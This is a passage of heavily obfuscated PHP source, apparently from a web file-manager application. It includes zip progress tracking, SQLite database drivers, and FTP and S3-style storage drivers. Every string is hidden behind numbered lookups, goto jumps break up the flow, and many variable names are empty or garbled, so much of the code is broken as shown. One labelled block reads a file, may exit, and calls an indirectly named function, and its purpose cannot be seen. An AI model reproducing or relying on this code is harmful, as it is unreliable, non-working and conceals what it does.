$ڬ[$̍[1804]] = get_path_this($); $ڬ[$̍[1806]] = $ݝ縜; $ڬ[$̍[1807]] = $; $ڬ[$̍[1115]] = $ == $̍[1874] ? $̍[1875] : $̍[1876]; $ڬ[$̍[1808]] = $̍[12]; $ڬ[$̍[808]] = $ݝ縜; $ڬ[$̍[1872]] = $̍[364]; $this->update(); } public function unzipAfter($) { $둨 =& $_SERVER[]; $џ =& $this->task; $џ[$둨[1872]] = $둨[110]; $ٗ = IO::infoWithChildren($); $塏٥ = 0; $џ[$둨[1815]] = array($둨[1816] => $塏٥ + 1, $둨[469] => $ٗ[$둨[32]], $둨[87] => $ٗ[$둨[87]], $둨[558] => $ٗ[$둨[558]] ? $ٗ[$둨[558]] : $ٗ[$둨[87]]); if ($ٗ[$둨[33]] == $둨[221]) { $џ[$둨[1113]] = 1; } else { $џ[$둨[1113]] = $ٗ[$둨[82]][$둨[80]]; } $џ[$둨[1115]] = $둨[12]; $џ[$둨[1808]] = 0; $џ[$둨[1754]] = 0; $џ[$둨[1806]] = 0; $џ[$둨[1807]] = 0; $џ[$둨[1804]] = $둨[12]; $џ[$둨[1811]] = 0; $џ[$둨[808]] = $ٗ[$둨[79]]; $this->update(); self::log($둨[1877] . json_encode(array($џ, $ٗ))); } public function nameParse($) { $ڰ =& $_SERVER[]; $؈ =& $this->task; if ($؈[$ڰ[1872]] == $ڰ[1248]) { $؈[$ڰ[1872]] = $ڰ[364]; $؈[$ڰ[1811]] = 0; $؈[$ڰ[808]] = 0; } $ = get_path_this($); if (strstr($, $ڰ[10])) { $؈[$ڰ[1754]] += 1; $؈[$ڰ[1113]] += 1; } $؈[$ڰ[1804]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ƒ =& $_SERVER[]; parent::startAfter(); Hook::bind($ƒ[1878], array($this, $ƒ[1868])); Hook::bind($ƒ[1870], array($this, $ƒ[1871])); $ =& $this->task; $[$ƒ[1872]] = $ƒ[1248]; if (!$[$ƒ[1643]]) { $[$ƒ[1643]] = LNG($ƒ[1879]); } } protected function endAfter() { $ά =& $_SERVER[]; parent::endAfter(); Hook::unbind($ά[1878], array($this, $ά[1868])); Hook::unbind($ά[1870], array($this, $ά[1871])); } public function updateAfter() { $퀘 =& $_SERVER[]; $ =& $this->task; if (!$[$퀘[1113]] || !$[$퀘[808]]) { return; } if ($[$퀘[1872]] == $퀘[1248]) { $ = $[$퀘[1807]]; if ($[$퀘[1808]] != $퀘[1248]) { $ = 0; } $ = ($[$퀘[1811]] + $) / $[$퀘[808]]; $[$퀘[1755]] = $ * 0.3; } else { if ($[$퀘[1872]] == $퀘[364]) { $ = $[$퀘[1754]] / $[$퀘[1113]]; $[$퀘[1755]] = 0.3 + $ * 0.5; } else { if ($[$퀘[1872]] == $퀘[110]) { $ = 0; if ($[$퀘[1806]]) { $ = $[$퀘[1807]] / $[$퀘[1806]]; } $[$퀘[1755]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$퀘[1755]] > 0) { $ = timeFloat() - $[$퀘[1757]] - $[$퀘[1760]]; $[$퀘[1761]] = $ * (1 - $[$퀘[1755]]) / $[$퀘[1755]]; } } public function copyFileStart($ϡۘ, $, $¥, $ކ, $nj, $Ϗ) { $ =& $_SERVER[]; parent::copyFileStart($ϡۘ, $, $¥, $ކ, $nj, $Ϗ); $ʠ =& $this->task; if ($ʠ[$[1872]] == $[364]) { $ʠ[$[1872]] = $[110]; } $this->update(); } public function copyFileEnd($ĩ, $ß, $̍, $, $՚, $ۋ) { $DŽɹ =& $_SERVER[]; $ =& $this->task; $[$DŽɹ[1807]] = $[$DŽɹ[1806]]; $[$DŽɹ[1811]] += $[$DŽɹ[1806]]; $[$DŽɹ[1808]] = $DŽɹ[12]; $this->update(); } public function zipEvent($, $, $, $դ) { $ =& $_SERVER[]; $ǝ =& $this->task; $ǝ[$[1804]] = get_path_this($); $ǝ[$[1806]] = $դ; $ǝ[$[1807]] = $; $ǝ[$[1115]] = $ == $[1880] ? $[1875] : $[1876]; $ǝ[$[1808]] = $[12]; $ǝ[$[808]] = $դ; $ǝ[$[1872]] = $[364]; $this->update(); } public function nameParse($䅴) { $ =& $_SERVER[]; $‹ =& $this->task; if ($‹[$[1754]] < $‹[$[1113]]) { $ֆ = get_path_this($䅴); if (strstr($ֆ, $[10])) { $‹[$[1754]] += 1; } } if ($‹[$[1872]] == $[1248]) { $‹[$[1872]] = $[364]; } $‹[$[1804]] = $䅴; $this->update(); } } goto b; c: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $괾 =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$괾[6]] =& $config; $this->values[$괾[7]] =& $in; $this->tpl = TEMPLATE . MOD . $괾[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($옎) { if (1 === func_num_args()) { $this->{$옎} = new $옎(); } else { $߻޼ = new ReflectionClass($옎); $ = func_get_args(); array_shift($); $this->{$옎} = $߻޼->newInstanceArgs($); } return $this->{$옎}; } public function routeBind($, $ث, $ = 3) { $Ჵի =& $_SERVER[]; $ҧ = $this->in[$Ჵի[9]]; $ = str_replace($Ჵի[10], $Ჵի[11], trim(trim($, $Ჵի[8]), $Ჵի[12])); if (!$ || count($ҧ) <= $) { return !1; } $ = !0; $Ҕ = explode($Ჵի[8], $); for ($Þ = 0; $Þ < count($Ҕ); $Þ++) { if ($Ҕ[$Þ] != $ҧ[$ + $Þ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $ث), array()); } public function routeArgs($ի = 3) { $ۮ = $this->in[$_SERVER[][9]]; if (count($ۮ) <= $ի) { return array(); } $ = array(); for ($ۦ = $ի; $ۦ < count($ۮ); $ۦ += 2) { $[$ۮ[$ۦ]] = $ۮ[$ۦ + 1]; $this->in[$ۮ[$ۦ]] = $ۮ[$ۦ + 1]; } return $; } protected function assign($, $崷) { $this->values[$] = $崷; } protected function display($ѷ) { ob_end_clean(); extract($this->values); require $this->tpl . $ѷ; } } class DbSqliteBase extends Db { public function __construct($ʏ = '') { $򢼚 =& $_SERVER[]; if (!extension_loaded($򢼚[13])) { think_exception(think_lang($򢼚[14]) . $򢼚[15]); } if (!empty($ʏ)) { if (!isset($ʏ[$򢼚[16]])) { $ʏ[$򢼚[16]] = 438; } $this->config = $ʏ; if (empty($this->config[$򢼚[17]])) { $this->config[$򢼚[17]] = array(); } } } public function connect($ = '', $ = 0) { $ʠ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ǭ = !empty($[$ʠ[17]][$ʠ[18]]) ? $[$ʠ[17]][$ʠ[18]] : $this->pconnect; $ = $ǭ ? $ʠ[19] : $ʠ[20]; $this->linkID[$] = $($[$ʠ[21]], $[$ʠ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ʠ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ת = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $ת) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $׉ = array(); if ($this->numRows > 0) { for ($Ɔ = 0; $Ɔ < $this->numRows; $Ɔ++) { $׉[$Ɔ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $׉; } public function getFields($ɇ) { $ϗ =& $_SERVER[]; $ۦʪ = $this->query($ϗ[29] . $ɇ . $ϗ[30]); $՜ = array(); if ($ۦʪ) { foreach ($ۦʪ as $ => $ۃ) { $՜[$ۃ[$ϗ[31]]] = array($ϗ[32] => $ۃ[$ϗ[31]], $ϗ[33] => $ۃ[$ϗ[34]], $ϗ[35] => (bool) ($ۃ[$ϗ[36]] === $ϗ[12]), $ϗ[37] => $ۃ[$ϗ[38]], $ϗ[39] => strtolower($ۃ[$ϗ[40]]) == $ϗ[41], $ϗ[42] => strtolower($ۃ[$ϗ[43]]) == $ϗ[44]); } } return $՜; } public function getTables($ݎ = '') { $ =& $_SERVER[]; $붤 = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($붤 as $۪ => $) { $[$۪] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ҿ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ҿ[4] . sqlite_error_string($); if ($ҿ[12] != $this->queryStr) { $this->error .= LNG($ҿ[48]) . $this->queryStr; } think_trace($this->error, $ҿ[12], $ҿ[49]); return $this->error; } public function escapeString($ѓ) { return sqlite_escape_string($ѓ); } public function parseLimit($ӛ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($ӛ)) { $ӛ = explode($[50], $ӛ); if (count($ӛ) > 1) { $ .= $[51] . $ӛ[1] . $[52] . $ӛ[0] . $[53]; } else { $ .= $[51] . $ӛ[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $Ս =& $_SERVER[]; if (!class_exists($Ս[54])) { think_exception(think_lang($Ս[14]) . $Ս[55]); } if (!empty($)) { if (!isset($[$Ս[16]])) { $[$Ս[16]] = 438; } $this->config = $; if (empty($this->config[$Ս[17]])) { $this->config[$Ս[17]] = array(); } } } public function connect($؛ = '', $ = 0) { $翭 =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($؛)) { $؛ = $this->config; } $this->linkID[$] = new SQLite3($؛[$翭[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($翭[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($ޥ) { $ɂ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ޥ; if ($this->queryID) { $this->free(); } think_action_status($ɂ[23], 1); think_status($ɂ[24]); $this->queryID = $this->_linkID->query($ޥ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($Ⲡ) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ⲡ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($Ⲡ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Òە = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Òە[] = $; } $this->queryID->reset(); return $Òە; } public function getFields($Ґ) { $ =& $_SERVER[]; $똱 = $this->query($[29] . $Ґ . $[30]); $Ǩ = array(); if ($똱) { foreach ($똱 as $ => $ǝ) { $Ǩ[$ǝ[$[32]]] = array($[32] => $ǝ[$[32]], $[33] => $ǝ[$[33]], $[35] => (bool) ($ǝ[$[35]] === $[12]), $[37] => $ǝ[$[56]], $[39] => (bool) $ǝ[$[57]], $[42] => (bool) $ǝ[$[57]]); } } return $Ǩ; } public function getTables($ = '') { $님 =& $_SERVER[]; $ڱ = $this->query($님[45] . $님[46] . $님[47]); $Ϣ = array(); foreach ($ڱ as $ż => $) { $Ϣ[$ż] = current($); } return $Ϣ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ʅ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($ʅ[12] != $this->queryStr) { $this->error .= LNG($ʅ[48]) . $this->queryStr; } think_trace($this->error, $ʅ[12], $ʅ[49]); return $this->error; } public function escapeString($) { $ܯâ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($ܯâ[58], $ܯâ[59], $); } public function parseLimit($) { $殝 =& $_SERVER[]; $͡ = $殝[12]; if (!empty($)) { $ = explode($殝[50], $); if (count($) > 1) { $͡ .= $殝[51] . $[1] . $殝[52] . $[0] . $殝[53]; } else { $͡ .= $殝[51] . $[0] . $殝[53]; } } return $͡; } } goto F; c: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($̩) { parent::__construct($̩); $this->setSignVersion($_SERVER[][238]); } public function uploadFormData($, $ќ = 3600) { $踴 =& $_SERVER[]; $ = $踴[220]; $ݖ = $踴[261]; $ = $踴[62]; $ = gmdate($踴[262]); $ = gmdate($踴[263]); $Ԕ = $踴[264]; $ = $ќ . $踴[12]; $ = $踴[265]; $ = array($this->accessKey, $, $this->region, $, $Ԕ); $Α = implode($踴[8], $); $򡟝 = array($踴[266] => gmdate($踴[1380], strtotime($踴[268])), $踴[269] => array(array($踴[270] => $this->bucket), array($踴[271] => $), array($踴[272], $踴[273], $踴[12]), array($踴[272], $踴[274], $踴[12]), array($踴[272], $踴[275], $踴[12]), array($踴[276] => $), array($踴[277] => $Α), array($踴[278] => $ݖ), array($踴[279] => $), array($踴[280] => $))); $Ή = base64_encode(json_encode($򡟝)); $؈ = hash_hmac($踴[281], $, $踴[282] . $this->secret, !0); $ = hash_hmac($踴[281], $this->region, $؈, !0); $㚶 = hash_hmac($踴[281], $, $, !0); $ = hash_hmac($踴[281], $Ԕ, $㚶, !0); $Ж = hash_hmac($踴[281], $Ή, $); $ɩ = array($踴[237] => $踴[12], $踴[283] => $踴[12], $踴[271] => $, $踴[276] => $, $踴[284] => $Ή, $踴[285] => $Α, $踴[286] => $ݖ, $踴[287] => $, $踴[288] => $, $踴[289] => $Ж, $踴[199] => $this->getHost()); return $ɩ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ו =& $_SERVER[]; global $config; $this->appCharset = $config[$ו[1406]]; $this->systemCharset = $config[$ו[1407]]; if (isset($[$ו[1408]]) && $[$ו[1408]]) { $this->systemCharset = $[$ו[1408]]; } } public function iconvApp($Ţ) { return $this->iconvTo($Ţ, $this->systemCharset, $this->appCharset); } public function iconvSystem($ò) { return $this->iconvTo($ò, $this->appCharset, $this->systemCharset); } public function getPathOuter($Ό˔) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $Ό˔ = $this->iconvApp($Ό˔); if (substr($, 0, 2) == $[1409]) { $ = BASIC_PATH . substr($, 2); } if (substr($Ό˔, 0, 2) == $[1409]) { $Ό˔ = BASIC_PATH . substr($Ό˔, 2); } $ = KodIO::clear($); $Ό˔ = KodIO::clear($Ό˔); $Ό˔ = substr($Ό˔, strlen($)); if (empty($this->pathDriver)) { return $Ό˔; } return $this->pathDriver . $[8] . ltrim($Ό˔, $[8]); } private function _init($ڷ = array()) { $ =& $_SERVER[]; if (!function_exists($[1410])) { throw new Exception(LNG($[1411])); } $this->config = $ڷ; $this->charsetReset($ڷ); foreach ($ڷ as $ܰ˯ => $۳) { if (isset($this->{$ܰ˯})) { $this->{$ܰ˯} = $۳; } } return $this->_login($ڷ); } private function _login($ƌ) { $ =& $_SERVER[]; static $ؑ = array(); $ = md5(json_encode($ƌ)); if (isset($ؑ[$])) { foreach ($ؑ[$] as $э => $) { $this->{$э} = $; } return !0; } $ⵅ = parse_url(trim($this->server, $[8])); $this->host = $ⵅ[$[199]]; $Вύ = isset($ⵅ[$[198]]) && $ⵅ[$[198]] == $[1412] ? !0 : !1; $this->scheme = $Вύ ? $[1413] : $[1414]; $this->port = isset($ⵅ[$[200]]) ? $ⵅ[$[200]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1415]) . $this->host . $[4] . $this->port, !0); return !1; } $䲦 = @ftp_login($this->connect, $this->username, $this->userpass); if (!$䲦) { $this->writeLog(LNG($[1416]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $Ȃ = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $Ȃ); $ؑ[$] = array($[1417] => $this->connect, $[199] => $this->host, $[198] => $this->scheme, $[200] => $this->port); return $䲦; } private function _isconn($ = true) { if (is_resource($this->connect)) { return !0; } if (!$) { return !1; } return $this->_login($this->config); } public function mkfile($ނ, $ӛ = '', $Ξր = REPEAT_RENAME) { if ($this->setContent($ނ, $ӛ)) { return $this->getPathOuter($ނ); } $this->writeLog(LNG($_SERVER[][1418]), !0); return !1; } public function mkdir($, $ԧ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } public function copyFile($ў, $䯎) { if (!$this->_isconn()) { return !1; } $Έ = $this->pathThis($this->iconvSystem($ў)); $ = $this->tempFile($Έ); $ = $this->iconvApp($); $this->download($ў, $); $ = $this->upload($䯎, $); $this->tempFileRemve($); return $; } public function moveFile($ߜ, $貥) { if (!$this->_isconn()) { return !1; } $ߜ = $this->iconvSystem($ߜ); $貥 = $this->iconvSystem($貥); $ƒ = @ftp_rename($this->connect, $ߜ, $貥); if (!$ƒ) { $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } return $this->getPathOuter($貥); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ӄ = array(); $this->fileList($, $, $ӄ, !0); $this->listItemCache = !0; foreach ($ӄ as $۠) { $ћ = $this->iconvSystem($۠[$_SERVER[][32]]); $˄Ӭ = @ftp_delete($this->connect, $ћ); if (!$˄Ӭ) { return !1; } } foreach ($ as $ћ) { $ћ = $this->iconvSystem($ћ); $˄Ӭ = @ftp_rmdir($this->connect, $ћ); if (!$˄Ӭ) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $݋Ә = $this->pathFather($); $ = rtrim($݋Ә, $[8]) . $[8] . $; $쓬 = @ftp_rename($this->connect, $, $); if (!$쓬) { $this->writeLog(__FUNCTION__ . $[1419], !0); return !1; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($޶, $ = false) { $ =& $_SERVER[]; $홄 = array($[32] => $this->pathThis($޶), $[87] => $this->getPathOuter($[8] . $޶), $[33] => $[78]); if ($) { return $홄; } $홄[$[222]] = $홄[$[88]] = 0; $홄[$[223]] = $홄[$[224]] = !0; return $홄; } private function fileInfo($, $ = false, $թ = array()) { $ߛ =& $_SERVER[]; $Ǜ = array($ߛ[32] => $this->pathThis($), $ߛ[87] => $this->getPathOuter($ߛ[8] . $), $ߛ[33] => $ߛ[221], $ߛ[79] => isset($թ[$ߛ[79]]) ? $թ[$ߛ[79]] : 0, $ߛ[178] => $this->ext($)); if ($) { return $Ǜ; } $Ǜ[$ߛ[222]] = $Ǜ[$ߛ[88]] = 0; $Ǜ[$ߛ[223]] = $Ǜ[$ߛ[224]] = !0; $̘ = $this->iconvSystem($); $Ǜ[$ߛ[88]] = @ftp_mdtm($this->connect, $̘); if (empty($թ)) { $թ = $this->objectMeta($); if (!$թ) { return $Ǜ; } } $Ǜ[$ߛ[79]] = $թ[$ߛ[79]]; return $Ǜ; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($ވ) { if ($this->isFile($ވ)) { return $this->fileInfo($ވ, 0); } else { if ($this->isFolder($ވ)) { return $this->folderInfo($ވ); } } return !1; } private function fileList($֒, &$, &$, $ = false) { $ =& $_SERVER[]; $֒ = $this->iconvSystem($֒); if (!$this->isFolder($֒)) { return !1; } @ftp_chdir($this->connect, $[8]); $֒ = rtrim($֒, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $֒); if (!$) { $ = array(); } $ = array($[10] => 1, $[1332] => 1); foreach ($ as $) { $ = $this->_listItem($); if ($[0] == $[803]) { continue; } $휖 = $[8]; if (empty($휖) && $휖 !== $[219] || isset($[$휖])) { continue; } $휖 = $this->iconvApp($֒ . ltrim($휖, $[8])); $ = array($[32] => $휖, $[33] => $[221], $[79] => $[4]); if (substr($, 0, 1) == $[1420]) { $[$[33]] = $[78]; $[$[79]] = 0; } $ = $[$[33]] == $[78] ? !0 : !1; $this->cacheMethodInfoSet($휖, $, $); if ($) { $[] = $휖; if ($) { $this->fileList($휖, $, $, $); } continue; } $[] = $; } $this->cacheMethodInfoSet($֒, !0); } private function _listItem($ٌ) { if (empty($ٌ)) { return array(); } $Ϸ = preg_split($_SERVER[][1421], $ٌ); if (count($Ϸ) <= 9) { return $Ϸ; } $Ϸ[8] = trim(substr($ٌ, strpos($ٌ, $Ϸ[7]) + strlen($Ϸ[7]))); return array_splice($Ϸ, 0, 9); } public function listPath($, $ɿЄ = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $׺Э = $闍ڣ = array(); $this->fileList($, $׺Э, $闍ڣ); foreach ($׺Э as $ޯ => $Ɠ) { $׺Э[$ޯ] = $this->folderInfo($Ɠ, $ɿЄ); } foreach ($闍ڣ as $ޯ => $Ɠ) { $闍ڣ[$ޯ] = $this->fileInfo($Ɠ[$[32]], $ɿЄ, $Ɠ); } return array($[85] => $׺Э, $[86] => $闍ڣ); } public function has($, $ӑ = false, $ٸ = true) { $à =& $_SERVER[]; $ֵם = $韲֏ = array(); $ = $ӑ ? !0 : !1; $this->fileList($, $ֵם, $韲֏, $); if ($ӑ) { return array($Ã[230] => count($韲֏), $Ã[231] => count($ֵם)); } if ($ٸ) { if (count($韲֏)) { return !0; } } else { if (count($ֵם)) { return !0; } } return !1; } public function listAll($) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ﻑ = array(); $this->fileList($, $, $ﻑ, !0); $ = array_to_keyvalue($ﻑ, $[32]); foreach ($ as $ߟ) { if (is_string($ߟ)) { $[$ߟ] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function getContent($ɢ) { if (!$this->_isconn()) { return !1; } $ɢ = $this->iconvSystem($ɢ); return $this->fileSubstr($ɢ); } public function setContent($‰, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($‰)); $Ή = $this->tempFile($); file_put_contents($Ή, $); $넉 = $this->upload($‰, $this->iconvApp($Ή)); $this->tempFileRemve($Ή); return $넉; } public function fileSubstr($ߞ, $ٗ = 0, $š = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($ߞ, $ٗ, $š); } private function ftpRequest($я, $ = 0, $ώ = false) { $я = $this->iconvSystem($я); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $Զ = curl_init(); curl_setopt($Զ, CURLOPT_URL, $ . $this->pathEncode($я)); curl_setopt($Զ, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($ώ) { $Ą = $ + $ώ - 1; curl_setopt($Զ, CURLOPT_RANGE, "{$}\55{$Ą}"); } curl_setopt($Զ, CURLOPT_RETURNTRANSFER, 1); $܅ = curl_exec($Զ); curl_close($Զ); return $܅; } public function upload($Ӻ, $, $܆ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($Ӻ))) { return !1; } $Ӻ = $this->iconvSystem($Ӻ); $ = $this->iconvSystem($); $Ċ = ftp_nb_put($this->connect, $Ӻ, $, FTP_BINARY); while ($Ċ == FTP_MOREDATA) { $Ċ = ftp_nb_continue($this->connect); } if ($Ċ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } return $this->getPathOuter($Ӻ); } public function download($̻, $ܜ = '') { if (!$this->_isconn()) { return !1; } $܃ = $this->pathFather($ܜ); if (!IO::mkdir($܃)) { return !1; } $̻ = $this->iconvSystem($̻); $ܜ = $this->iconvSystem($ܜ); $ = ftp_nb_get($this->connect, $ܜ, $̻, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } return $this->iconvApp($ܜ); } public function exist($ø) { return $this->isFile($ø) || $this->isFolder($ø); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][169], $); } protected function objectMeta($ĥֹ) { return $this->cacheMethod($_SERVER[][171], $ĥֹ); } protected function _objectMeta($ʶ) { $ =& $_SERVER[]; if ($ʶ == $[12] || $ʶ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ʶ = $this->iconvSystem($ʶ); $Л = array($[32] => $this->iconvApp($ʶ), $[33] => $[221], $[79] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $ʶ); if ($ != -1) { $Л[$[79]] = $; } else { $ = @ftp_chdir($this->connect, $ʶ); if (!$) { return !1; } $Л[$[33]] = $[78]; } return $Л; } protected function _isFolder($в) { $۪΋ =& $_SERVER[]; if ($в == $۪΋[12] || $в == $۪΋[8]) { return !0; } $⦂ = $this->_objectMeta($в); return isset($⦂[$۪΋[33]]) && $⦂[$۪΋[33]] == $۪΋[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($ϕ) { parent::__construct($ϕ); $this->setSignVersion($_SERVER[][238]); } public function uploadLink($, $ä = 0) { $Ŧ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $й = $this->getType(); if (!in_array($й, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ɏ = (!$ä ? 1 : ceil($ä / pow(1024, 3))) * 3600 * 4; $̸ = $this->multiUploadFormData($, $Ɏ); if ($̸) { $̸[$Ŧ[97]] = $; $̸[$Ŧ[98]] = $й; } return $̸; } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = $this->link($); $ .= $_SERVER[][1422] . $; $this->fileOutLink($); } public function fileOutLink($Į) { $ =& $_SERVER[]; if (substr($Į, 0, 7) == $[1378]) { $Į = $[1379] . substr($Į, 7); } header($[165] . $Į); die; } } goto b; f޲: if ($_SERVER[$_SERVER[][921]] != $_SERVER[$_SERVER[][1008]]) { $_getc = $_SERVER[][924]; $_getfile = $_SERVER[$_SERVER[][925]] . $_SERVER[][926]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][253], $_getfilec); if (count($_getarrs) < $_SERVER[][665]) { $exit = $_SERVER[][927]; $exit(); } $_act = $_SERVER[][1009]; $_act($_SERVER[$_SERVER[][922]]); } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\164\150\x69\x6e\x6b\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\156\x65\161" => "\x3c\76", "\x67\x74" => "\x3e", "\145\x67\x74" => "\x3e\x3d", "\154\164" => "\74", "\x65\x6c\x74" => "\74\x3d", "\156\x6f\x74\x6c\151\153\x65" => "\116\117\x54\40\114\111\x4b\x45", "\x6c\x69\x6b\145" => "\x4c\x49\x4b\x45", "\x69\156" => "\x49\x4e", "\x6e\x6f\x74\151\156" => "\116\x4f\124\40\x49\116", "\156\x6f\164\40\x69\x6e" => "\x4e\117\124\40\111\x4e", 